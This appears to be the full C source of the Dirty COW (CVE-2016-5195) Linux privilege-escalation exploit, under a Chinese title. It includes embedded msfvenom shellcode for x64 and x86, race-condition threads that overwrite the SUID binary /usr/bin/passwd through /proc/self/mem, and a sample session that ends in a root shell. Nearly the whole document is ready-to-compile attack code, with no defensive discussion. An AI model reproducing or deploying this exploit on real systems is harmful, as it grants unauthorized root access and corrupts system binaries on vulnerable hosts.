[提权] 脏牛漏洞 Dirty COW CVE-2016-5195 2.6.22 < 3.9 (x86/x64)

/*

* (un)comment correct payload first (x86 or x64)!

*

* $ gcc cowroot.c -o cowroot -pthread

* $ ./cowroot

* DirtyCow root privilege escalation

* Backing up /usr/bin/passwd.. to /tmp/bak

* Size of binary: 57048

* Racing, this may take a while..

* /usr/bin/passwd is overwritten

* Popping root shell.

* Don't forget to restore /tmp/bak

* thread stopped

* thread stopped

* root@box:/root/cow# id

* uid=0(root) gid=1000(foo) groups=1000(foo)

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <pthread.h>

#include <string.h>

#include <unistd.h>

 

void *map;

int f;

int stop = 0;

struct stat st;

char *name;

pthread_t pth1,pth2,pth3;

 

// change if no permissions to read

char suid_binary[] = "/usr/bin/passwd";

 

/*

* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

*/

unsigned char sc[] = {

  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,

  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,

  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,

  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,

  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,

  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,

  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05

};

unsigned int sc_len = 177;

 

/*

* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

unsigned char sc[] = {

  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,

  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,

  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,

  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,

  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,

  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,

  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,

  0x89, 0xe1, 0xcd, 0x80

};

unsigned int sc_len = 136;

*/

 

void *madviseThread(void *arg)

{

    char *str;

    str=(char*)arg;

    int i,c=0;

    for(i=0;i<1000000 && !stop;i++) {

        c+=madvise(map,100,MADV_DONTNEED);

    }

    printf("thread stopped\n");

}

 

void *procselfmemThread(void *arg)

{

    char *str;

    str=(char*)arg;

    int f=open("/proc/self/mem",O_RDWR);

    int i,c=0;

    for(i=0;i<1000000 && !stop;i++) {

        lseek(f,map,SEEK_SET);

        c+=write(f, str, sc_len);

    }

    printf("thread stopped\n");

}

 

void *waitForWrite(void *arg) {

    char buf[sc_len];

 

    for(;;) {

        FILE *fp = fopen(suid_binary, "rb");

 

        fread(buf, sc_len, 1, fp);

 

        if(memcmp(buf, sc, sc_len) == 0) {

            printf("%s is overwritten\n", suid_binary);

            break;

        }

 

        fclose(fp);

        sleep(1);

    }

 

    stop = 1;

 

    printf("Popping root shell.\n");

    printf("Don't forget to restore /tmp/bak\n");

 

    system(suid_binary);

}

 

int main(int argc,char *argv[]) {

    char *backup;

 

    printf("DirtyCow root privilege escalation\n");

    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

 

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);

    system(backup);

 

    f = open(suid_binary,O_RDONLY);

    fstat(f,&st);

 

    printf("Size of binary: %d\n", st.st_size);

 

    char payload[st.st_size];

    memset(payload, 0x90, st.st_size);

    memcpy(payload, sc, sc_len+1);

 

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

 

    printf("Racing, this may take a while..\n");

 

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);

    pthread_create(&pth2, NULL, &procselfmemThread, payload);

    pthread_create(&pth3, NULL, &waitForWrite, NULL);

 

    pthread_join(pth3, NULL);

 

    return 0;

}